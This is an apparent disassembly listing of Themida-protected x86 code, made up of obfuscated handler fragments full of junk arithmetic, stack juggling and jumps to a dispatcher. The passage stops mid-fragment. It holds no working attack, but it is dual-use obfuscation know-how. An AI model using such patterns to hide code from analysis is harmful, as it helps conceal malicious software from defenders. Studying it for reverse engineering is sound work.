; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55C028: ; CODE XREF: sub_5516F8+B108j
pop edx
xchg eax, ecx
xchg eax, ecx
not ecx
jmp loc_558EDD
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C032: ; CODE XREF: sub_556A70+3437j
add edi, ecx
add edi, 79C9685Bh
sub edi, 5434123Fh
mov ecx, [esp+14h+var_14]
add esp, 4
mov edx, edi
pop edi
jmp loc_5579A9
; ---------------------------------------------------------------------------
loc_55C051: ; CODE XREF: sub_556A70+6471j
xor ebx, edx
jmp loc_555262
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C058: ; CODE XREF: Themida_:0055B6EFj
pop ebx
xchg ecx, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C067: ; CODE XREF: sub_556A70-2E81j
shl eax, 8
xor eax, 7E566748h
dec eax
sub eax, 0C316628Ah
add ebx, eax
pop eax
pop edi
sub eax, ebx
mov ebx, [esp-8+arg_4]
add esp, 4
push 61C0h
mov [esp-8+arg_4], edi
push edx
push 2A451AC1h
pop edx
push esi
mov esi, 0
sub esi, 3E8C4EB6h
sub esi, edx
add esi, 3E8C4EB6h
xchg esi, edx
pop esi
push ecx
mov ecx, 92A7C8Bh
jmp loc_55ABC1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push 534Fh
mov [esp], ecx
jmp loc_553D11
; ---------------------------------------------------------------------------
loc_55C0C3: ; CODE XREF: Themida_:0055B436j
push ebx
mov ebx, 79FB2ED2h
or ebx, 7C470245h
not ebx
add ebx, 645246BAh
add ebx, 19ACE822h
jmp loc_55B08E
; ---------------------------------------------------------------------------
loc_55C0E2: ; CODE XREF: Themida_:00551E5Dj
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_559105
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C0F4: ; CODE XREF: sub_556A70+A6Fj
add esi, ebp
jmp loc_5540BE
; ---------------------------------------------------------------------------
loc_55C0FB: ; CODE XREF: sub_556A70+3462j
xchg edi, ecx
pop edi
push ecx
dec [esp+2+var_4+2]
pop ecx
or ecx, 71EF3C05h
or ecx, 4C7F5E30h
push eax
mov eax, 0F599A9FAh
xor ecx, eax
pop eax
sub ebx, ecx
mov ecx, [esp+0]
add esp, 4
add ebx, edi
push edi
mov edi, 866564Fh
add ebx, edi
pop edi
mov ecx, [ebx]
mov ebx, [esp-6+arg_0+2]
add esp, 4
jmp loc_552EC0
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C13B: ; CODE XREF: Themida_:0055BD13j
mov si, 3DBh
and si, 73BEh
and si, 5663h
shr si, 2
add si, 3733h
jmp loc_556E85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_55C157: ; CODE XREF: sub_557F09+37A7j
inc ebx
push edi
mov edi, 1
add ebx, edi
jmp loc_551062
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C165: ; CODE XREF: sub_556A70-28B2j
add bl, 38h
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
xchg ecx, [esp+0]
pop esp
jmp loc_55A560
; ---------------------------------------------------------------------------
loc_55C183: ; CODE XREF: sub_556A70-29C3j
mov ecx, 5A835F3Bh
push ebx
mov ebx, 38785C91h
add ecx, 7197537Bh
sub ecx, ebx
sub ecx, 7197537Bh
pop ebx
jmp loc_55A913
; ---------------------------------------------------------------------------
loc_55C1A2: ; CODE XREF: sub_556A70+620Ej
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55C1A7: ; CODE XREF: sub_556A70-3B45j
pop ecx
not edx
neg edx
inc edx
push ebp
sub esp, 4
mov [esp+8+var_8], ecx
push 4D1F55CAh
pop ecx
dec ecx
sub ecx, 1
xchg esi, ecx
jmp loc_552A49
; ---------------------------------------------------------------------------
loc_55C1C8: ; CODE XREF: sub_556A70+2586j
xchg ecx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
jmp loc_5590B5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C1D3: ; CODE XREF: Themida_:005553B2j
xor eax, [esp]
jmp loc_5548F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_55C1DB: ; CODE XREF: sub_551E74+8A6Ej
mov eax, 74627DE7h
add ebx, eax
pop eax
mov esi, [esp+0]
jmp loc_55C61C
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C1EB: ; CODE XREF: sub_556A70-15D7j
xor ebx, 52BA268Ah
jmp loc_550E21
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_55C1F6: ; CODE XREF: sub_55A748-614Fj
add edx, 4
jmp loc_555FB4
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C1FE: ; CODE XREF: sub_556A70+4C05j
push 1E4h
jmp loc_5516D2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C208: ; CODE XREF: Themida_:0055AFCBj
mov [esp], eax
jmp loc_558366
; ---------------------------------------------------------------------------
loc_55C210: ; CODE XREF: Themida_:00554654j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5556AC
; ---------------------------------------------------------------------------
loc_55C23E: ; CODE XREF: Themida_:00551994j
sub cl, 0BEh
add cl, 24h
pop ebx
jmp loc_55AE03
; ---------------------------------------------------------------------------
loc_55C24A: ; CODE XREF: Themida_:0055AF66j
push eax
mov eax, 4
add [esp+4], eax
jmp loc_5578AE
; =============== S U B R O U T I N E =======================================
sub_55C259 proc near ; CODE XREF: sub_557F09-29F2j
; FUNCTION CHUNK AT 0055BE23 SIZE 0000000B BYTES
push ebp
push 1087076Ah
pop ebp
add ebp, 343B0520h
shr ebp, 5
jmp loc_55BE23
sub_55C259 endp
; ---------------------------------------------------------------------------
loc_55C26E: ; CODE XREF: Themida_:00555A9Cj
push ebp
push esp
pop ebp
push eax
jmp loc_555AC1
; ---------------------------------------------------------------------------
loc_55C277: ; CODE XREF: Themida_:00555FF8j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push esi
push esp
pop esi
push edx
jmp loc_5525AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5519E5
loc_55C290: ; CODE XREF: sub_5519E5+18j
pop esp
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_5519E5
; ---------------------------------------------------------------------------
loc_55C296: ; CODE XREF: Themida_:00555354j
xor esi, [esp]
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_5548D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C746
loc_55C2AC: ; CODE XREF: sub_55C746+4j
add esp, 4
sub esp, 4
mov [esp+4+var_4], edx
mov eax, [esp+4+var_4]
sub esp, 4
jmp loc_559184
; END OF FUNCTION CHUNK FOR sub_55C746
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_55C2C3: ; CODE XREF: sub_554299+B4Bj
sub ecx, 53196E7Ch
push ebp
mov ebp, 2A5200ACh
add ecx, ebp
jmp loc_55BECD
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C2D6: ; CODE XREF: sub_556A70-5EFFj
pop edx
push ecx
jmp loc_553AC4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C2DD: ; CODE XREF: Themida_:00553B35j
push 4152h
mov [esp], edi
mov edi, 2A743923h
shr edi, 5
jmp loc_55BBF4
; ---------------------------------------------------------------------------
loc_55C2F2: ; CODE XREF: Themida_:00555108j
pop ebx
push ecx
push ebp
mov ebp, esp
jmp loc_55A31B
; =============== S U B R O U T I N E =======================================
sub_55C2FC proc near ; CODE XREF: sub_556A70+5BE5j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
jmp sub_55B403
sub_55C2FC endp
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_556D88
; ---------------------------------------------------------------------------
loc_55C321: ; CODE XREF: Themida_:0055614Cj
pop edx
push 2480h
mov [esp], edx
mov edx, 78FB0453h
shr edx, 6
push ecx
mov ecx, 62886EFAh
add edx, ecx
pop ecx
sub ebp, edx
jmp loc_55640D
; ---------------------------------------------------------------------------
loc_55C342: ; CODE XREF: Themida_:0055B1EAj
mov [esp], edi
mov edi, 4
add [esp+4], edi
jmp loc_5576F7
; ---------------------------------------------------------------------------
loc_55C353: ; CODE XREF: Themida_:00554228j
mov ch, 7Bh
mov al, 6Eh
jmp loc_55C521
; ---------------------------------------------------------------------------
loc_55C35C: ; CODE XREF: Themida_:00555749j
mov ebx, [esp]
add esp, 4
add ebx, 4
push esi
mov esi, 4
sub ebx, esi
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
jmp loc_5565C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C384: ; CODE XREF: sub_556A70-23FFj
xchg eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
bt [esp-4+arg_0], eax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C394: ; CODE XREF: Themida_:00551028j
sub eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55118E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C3A1: ; CODE XREF: sub_556A70+541j
xor edx, 6FD00DCDh
and ebx, edx
pop edx
shr ebx, 6
inc ebx
jmp loc_555620
; ---------------------------------------------------------------------------
loc_55C3B3: ; CODE XREF: sub_556A70-5EC6j
or edx, eax
shl edx, 1
jmp loc_55B24C
; ---------------------------------------------------------------------------
loc_55C3BC: ; CODE XREF: sub_556A70+5C00j
mov edi, 0A888B031h
add edi, ecx
pop ecx
add eax, edi
mov edi, [esp-12h+arg_C+2]
add esp, 4
push dword ptr [edi+eax*4]
push 4120h
mov [esp-0Eh+arg_8+2], esi
push 6A8Fh
mov [esp-0Ah+arg_4+2], ebp
push 4D6D204Dh
jmp loc_555EFA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C3E9: ; CODE XREF: Themida_:005557E1j
shr ebp, 3
xor ebp, 5050B24h
add ecx, 4B0E370Fh
add ecx, ebp
sub ecx, 4B0E370Fh
pop ebp
add ecx, 4
xchg ecx, [esp]
jmp loc_557B54
; ---------------------------------------------------------------------------
loc_55C40F: ; CODE XREF: Themida_:00559E5Dj
xor bp, [esp]
jmp loc_5574E4
; ---------------------------------------------------------------------------
loc_55C418: ; CODE XREF: Themida_:00551875j
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 35FE6F10h
add ebx, 0CA0190F4h
add edx, ebx
mov ebx, [esp]
jmp loc_55B32C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C434: ; CODE XREF: sub_556A70-39B2j
mov ecx, [esp+14h+var_14]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+18h+var_18]
pop esp
add esp, 4
push 5BDFh
mov [esp+14h+var_14], edi
push 67DBh
jmp loc_559B84
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C462: ; CODE XREF: Themida_:00554D87j
push edx
mov edx, 2CC56E10h
dec edx
jmp loc_55CBAE
; ---------------------------------------------------------------------------
loc_55C46E: ; CODE XREF: Themida_:005538AEj
not edx
inc edx
add edx, 57477935h
xor esi, edx
pop edx
mov ebx, esi
pop esi
add esi, ebx
jmp loc_554A3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5557A0
loc_55C484: ; CODE XREF: sub_5557A0+9j
mov ecx, 60626A4Bh
push ebx
mov ebx, 664055E9h
sub ebx, 2979F179h
sub ecx, ebx
pop ebx
sub [esp+4], ecx
jmp loc_55A003
; END OF FUNCTION CHUNK FOR sub_5557A0
; ---------------------------------------------------------------------------
loc_55C4A1: ; CODE XREF: Themida_:00557F5Bj
mov dl, al
jmp loc_554E08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C4A8: ; CODE XREF: sub_556A70+637Ej
add edx, 4
xchg edx, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
sub ebp, 3737B0BAh
sub eax, ebp
pop ebp
xchg eax, [esp+14h+var_14]
pop esp
mov word ptr [esp+10h+var_10], dx
push ax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C4CA: ; CODE XREF: Themida_:0055B857j
mov ebx, 19BA5A5Bh
mov esi, 28F91424h
add esi, ebx
pop ebx
add esi, 0E49B5DDh
mov ebx, esi
pop esi
push ebx
not dword ptr [esp]
pop ebx
inc ebx
jmp loc_553F40
; ---------------------------------------------------------------------------
loc_55C4EB: ; CODE XREF: Themida_:00555312j
mov [esp], esi
jmp loc_554FA4
; ---------------------------------------------------------------------------
loc_55C4F3: ; CODE XREF: Themida_:00558B1Bj
pop ebx
pop ebx
push 7889h
mov [esp], ebx
mov bl, 73h
add al, bl
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_559DAC
; ---------------------------------------------------------------------------
loc_55C50F: ; CODE XREF: Themida_:00559DC9j
pop ebx
push edx
mov edx, 4DAA288Dh
or edx, 799A3A5Ch
jmp loc_556F22
; ---------------------------------------------------------------------------
loc_55C521: ; CODE XREF: Themida_:0055C357j
sub al, ch
pop ecx
push bx
mov bh, dl
push ecx
mov cl, al
mov dl, cl
pop ecx
jmp loc_5593EF
; ---------------------------------------------------------------------------
loc_55C533: ; CODE XREF: Themida_:0055540Bj
mov ebx, esp
push esi
push ebp
mov ebp, 753F51C1h
not ebp
xor ebp, 7BCB1384h
dec ebp
sub ebp, 0EC69AFACh
mov esi, ebp
pop ebp
shr esi, 6
jmp loc_551AE1
; ---------------------------------------------------------------------------
loc_55C556: ; CODE XREF: Themida_:00555FAFj
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C560: ; CODE XREF: sub_556A70+5E29j
push edx
mov dh, 0DEh
mov ah, 1Fh
add ah, dh
pop edx
push ecx
push ebx
mov bh, 98h
not bh
dec bh
xor bh, 0B8h
mov ch, bh
pop ebx
jmp loc_553E43
; ---------------------------------------------------------------------------
loc_55C57B: ; CODE XREF: sub_556A70+3E26j
xor edx, 33404D0Ch
push eax
jmp loc_55AEA6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C587: ; CODE XREF: Themida_:00551194j
xor eax, [esp]
pop esp
mov [esp], cx
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55C594: ; CODE XREF: Themida_:00552F63j
push edx
jmp loc_553051
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F2D
loc_55C59A: ; CODE XREF: sub_559F2D-375Fj
push ecx
mov ecx, 6C1903C6h
sub ecx, 6C1903C2h
add edx, ecx
pop ecx
jmp loc_55B4B5
; END OF FUNCTION CHUNK FOR sub_559F2D
; ---------------------------------------------------------------------------
loc_55C5AE: ; CODE XREF: Themida_:0055AFFFj
mov cl, 0CBh
push edx
mov dl, 73h
dec dl
and dl, 88h
add dl, 57h
and dl, 0C5h
add dl, 61h
sub cl, dl
pop edx
sub cl, 4Eh
sub cl, 0Ah
sub esp, 4
mov [esp], edx
mov dl, cl
mov bl, dl
jmp loc_55CF7C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C5D9: ; CODE XREF: sub_556A70-149Bj
sub eax, 30221509h
mov esi, [esp+4+var_4]
add esp, 4
jmp sub_5599E2
; ---------------------------------------------------------------------------
loc_55C5E9: ; CODE XREF: sub_556A70-C41j
pop esi
push ecx
jmp loc_558E83
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_55C5F0: ; CODE XREF: sub_554299+442Dj
sub ebp, 8268F456h
sub ecx, 2A5200ACh
jmp loc_554DDC
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
loc_55C601: ; CODE XREF: Themida_:005561B7j
pop esi
jmp loc_55CB21
; =============== S U B R O U T I N E =======================================
sub_55C607 proc near ; CODE XREF: sub_556A70-369Ej
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], esp
push edi
mov edi, 4
add [esp+8+var_4], edi
jmp loc_557471
sub_55C607 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_55C61C: ; CODE XREF: sub_551E74+A372j
add esp, 4
sub ebx, eax
jmp loc_559518
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_55C626: ; CODE XREF: sub_55515F-36E8j
add ecx, ebx
pop ebx
add ecx, 2
xchg ecx, [esp+6+var_6]
pop esp
jmp loc_5510DA
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_55C638: ; CODE XREF: sub_553651-CA2j
add ebx, eax
push ecx
mov ecx, 617F52E6h
add ebx, ecx
jmp loc_554CAC
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C647: ; CODE XREF: sub_556A70+6FFj
sub ebx, esi
pop esi
jmp loc_5515EF
; ---------------------------------------------------------------------------
loc_55C64F: ; CODE XREF: sub_556A70-9EFj
add ebp, 4
jmp sub_55C2FC
; ---------------------------------------------------------------------------
loc_55C65A: ; CODE XREF: sub_556A70+2CC1j
sub ebx, eax
jmp loc_5581F5
; ---------------------------------------------------------------------------
loc_55C661: ; CODE XREF: sub_556A70+3399j
xor [esp+14h+var_14], ecx
xor ecx, [esp+14h+var_14]
pop esp
pop eax
push edi
push ecx
mov ecx, 59E46BEBh
jmp loc_55C3BC
; ---------------------------------------------------------------------------
loc_55C675: ; CODE XREF: sub_556A70+30ABj
xor ebp, [esp-1Eh+arg_18+2]
xor [esp-1Eh+arg_18+2], ebp
xor ebp, [esp-1Eh+arg_18+2]
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp-1Eh+arg_18+2]
pop esp
jmp loc_55416D
; ---------------------------------------------------------------------------
loc_55C694: ; CODE XREF: sub_556A70+2877j
pop ebx
add ecx, 2
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
sub word ptr [esp-4+arg_0], ax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C6AC: ; CODE XREF: Themida_:0055CA86j
push edx
jmp loc_550FA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C6B2: ; CODE XREF: sub_556A70+3747j
xor eax, ebx
jmp loc_559FAF
; ---------------------------------------------------------------------------
loc_55C6B9: ; CODE XREF: sub_556A70+17D2j
xor esi, [esp-1Eh+arg_18+2]
pop esp
mov [esp-22h+arg_1C+2], edi
mov edi, esp
push ebx
mov ebx, 57C72EE9h
jmp loc_55A683
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C6CD: ; CODE XREF: Themida_:00551853j
xchg esi, edi
shr edi, 7
dec edi
add edi, 5B4BABD9h
add edx, edi
jmp loc_55B85C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5563FF
loc_55C6E0: ; CODE XREF: sub_5563FF+6799j
mov [esp+0], ebp
mov ebp, 2
add ecx, 6292656Ch
sub ecx, ebp
sub ecx, 6292656Ch
mov ebp, [esp+0]
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_5574F7
; END OF FUNCTION CHUNK FOR sub_5563FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BDF1
loc_55C704: ; CODE XREF: sub_55BDF1-65EDj
mov ebx, 0FDFFFBFCh
add ecx, ebx
pop ebx
push 19A0h
jmp loc_556EBE
; END OF FUNCTION CHUNK FOR sub_55BDF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C716: ; CODE XREF: sub_556A70-27E4j
mov [esp+4+var_4], ecx
jmp loc_5521D2
; ---------------------------------------------------------------------------
loc_55C71E: ; CODE XREF: sub_556A70-1455j
mov edx, 34BF0905h
or ecx, edx
pop edx
dec ecx
sub ecx, 7BD8278Dh
inc ecx
push esi
mov esi, 571548C8h
xor ecx, esi
pop esi
sub ecx, 0AC325A7Eh
add esi, ecx
pop ecx
push ecx
jmp loc_558033
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55C746 proc near ; CODE XREF: sub_556A70-22AAj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00559184 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055C2AC SIZE 00000017 BYTES
push ebx
mov edx, [esp+4+var_4]
jmp loc_55C2AC
sub_55C746 endp
; ---------------------------------------------------------------------------
loc_55C74F: ; CODE XREF: Themida_:0055A279j
pop edx
sub edx, 6A674268h
add edx, esi
jmp loc_55B9DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C75D: ; CODE XREF: sub_556A70+2A32j
shl ah, 8
inc ah
jmp loc_55138A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C767: ; CODE XREF: Themida_:0055866Ej
push esp
pop dword ptr [esp]
jmp loc_55BCEC
; ---------------------------------------------------------------------------
loc_55C770: ; CODE XREF: Themida_:00559CC7j
movzx cx, al
push eax
mov eax, esp
jmp loc_55C904
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_555F79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C785: ; CODE XREF: sub_556A70+1691j
xchg ebp, esi
shr esi, 7
sub esi, 0E85CE10Bh
add eax, esi
push [esp+4+var_4]
jmp loc_555AF5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C79A: ; CODE XREF: Themida_:00551396j
push ecx
mov ch, 0CBh
sub ch, 0AAh
jmp loc_557BEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55C7A5: ; CODE XREF: sub_5516F8+Ej
xor ebx, 5C9A6050h
jmp loc_552501
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C7B0: ; CODE XREF: sub_556A70+3512j
mov eax, [esp+4+var_4]
add esp, 4
pop ecx
add ecx, 4DC525C2h
mov edx, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
mov edi, [esp-8+arg_4]
add esp, 4
jmp loc_5580E2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C7D3: ; CODE XREF: Themida_:0055987Ej
imul ecx, eax
push ecx
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C7DD: ; CODE XREF: sub_556A70-274Ej
add edx, 58387D89h
sub edx, eax
push ebp
jmp loc_55226F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C7EB: ; CODE XREF: Themida_:0055B864j
push ebx
mov ebx, 0ED02ACCh
or ebx, 2E8F1315h
inc ebx
inc ebx
jmp loc_55554D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55C7FE: ; CODE XREF: sub_5516F8+8B0Dj
sub ecx, edx
jmp loc_55C028
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A5DF
loc_55C805: ; CODE XREF: sub_55A5DF+27j
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_55A5DF
; ---------------------------------------------------------------------------
popa
jmp locret_55310F
; ---------------------------------------------------------------------------
loc_55C811: ; CODE XREF: Themida_:00553552j
sub edx, ebx
pop ebx
sub esi, 739029F4h
add esi, edx
add esi, 739029F4h
mov edx, [esp]
jmp loc_5528B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C82A: ; CODE XREF: sub_556A70+397Aj
add ebx, esi
jmp sub_551E74
; ---------------------------------------------------------------------------
loc_55C831: ; CODE XREF: sub_556A70-2943j
pop esi
pop dword ptr [esp+0]
jmp loc_5510A5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557D5C
loc_55C83A: ; CODE XREF: sub_557D5C+21j
add ebx, ebp
pop ebp
jmp loc_5577AD
; END OF FUNCTION CHUNK FOR sub_557D5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_55C842: ; CODE XREF: sub_5567EA+2383j
pop ebx
add esp, 4
push 7B0Dh
mov [esp+4+var_4], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
jmp loc_556D11
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C864: ; CODE XREF: sub_556A70-4545j
add edx, 4E7940FFh
or edx, 45255EACh
neg edx
add edx, 0E3FC742Ah
mov edi, edx
pop edx
and edi, 641D65BFh
dec edi
push ebx
push edx
mov edx, 1F067280h
mov ebx, edx
jmp loc_554B55
; ---------------------------------------------------------------------------
loc_55C890: ; CODE XREF: sub_556A70+1AD0j
pop eax
pop ecx
push ecx
mov ch, 49h
or dl, ch
pop ecx
push eax
jmp loc_55C560
; ---------------------------------------------------------------------------
loc_55C89E: ; CODE XREF: sub_556A70+1A59j
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
jmp loc_552189
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C8A9: ; CODE XREF: Themida_:005593DAj
add esi, ecx
pop ecx
jmp loc_55AAC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5526D6
loc_55C8B1: ; CODE XREF: sub_5526D6-816j
add ebp, 532E01B4h
jmp loc_558F69
; END OF FUNCTION CHUNK FOR sub_5526D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C8BC: ; CODE XREF: sub_556A70+6B7j
add esp, 4
mov ecx, [esp+6+var_8+2]
jmp loc_551204
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
pop eax
jmp loc_551E41
; ---------------------------------------------------------------------------
loc_55C8D6: ; CODE XREF: Themida_:005525E8j
mov bl, 0FDh
not bl
and bl, 57h
shr bl, 6
push ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov ah, 0AFh
jmp loc_5520DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F2D
loc_55C8FB: ; CODE XREF: sub_559F2D+13j
sub al, bl
sub al, 76h
jmp loc_55CF4E
; END OF FUNCTION CHUNK FOR sub_559F2D
; ---------------------------------------------------------------------------
loc_55C904: ; CODE XREF: Themida_:0055C777j
push esi
mov esi, 25994133h
shl esi, 7
or esi, 48A73382h
push ebx
push esi
mov esi, 793F19F4h
shl esi, 1
neg esi
add esi, 504D6A2Ch
jmp loc_55BBE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C929: ; CODE XREF: sub_556A70+2A69j
mov ax, word ptr [esp-0Ah+arg_4+2]
push ebx
mov ebx, esp
jmp loc_5518A1
; ---------------------------------------------------------------------------
loc_55C935: ; CODE XREF: sub_556A70-19A8j
div cl
movzx cx, ah
push ebp
mov ebp, esp
jmp loc_55107A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C943: ; CODE XREF: Themida_:0055B4B0j
mov edx, [esp]
jmp loc_558F47
; ---------------------------------------------------------------------------
loc_55C94B: ; CODE XREF: Themida_:00559748j
add esp, 4
push ebx
sub esp, 4
jmp loc_550E52
; ---------------------------------------------------------------------------
loc_55C95A: ; CODE XREF: Themida_:0055209Ej
mov [esp], esi
push eax
mov eax, 46A6BD7h
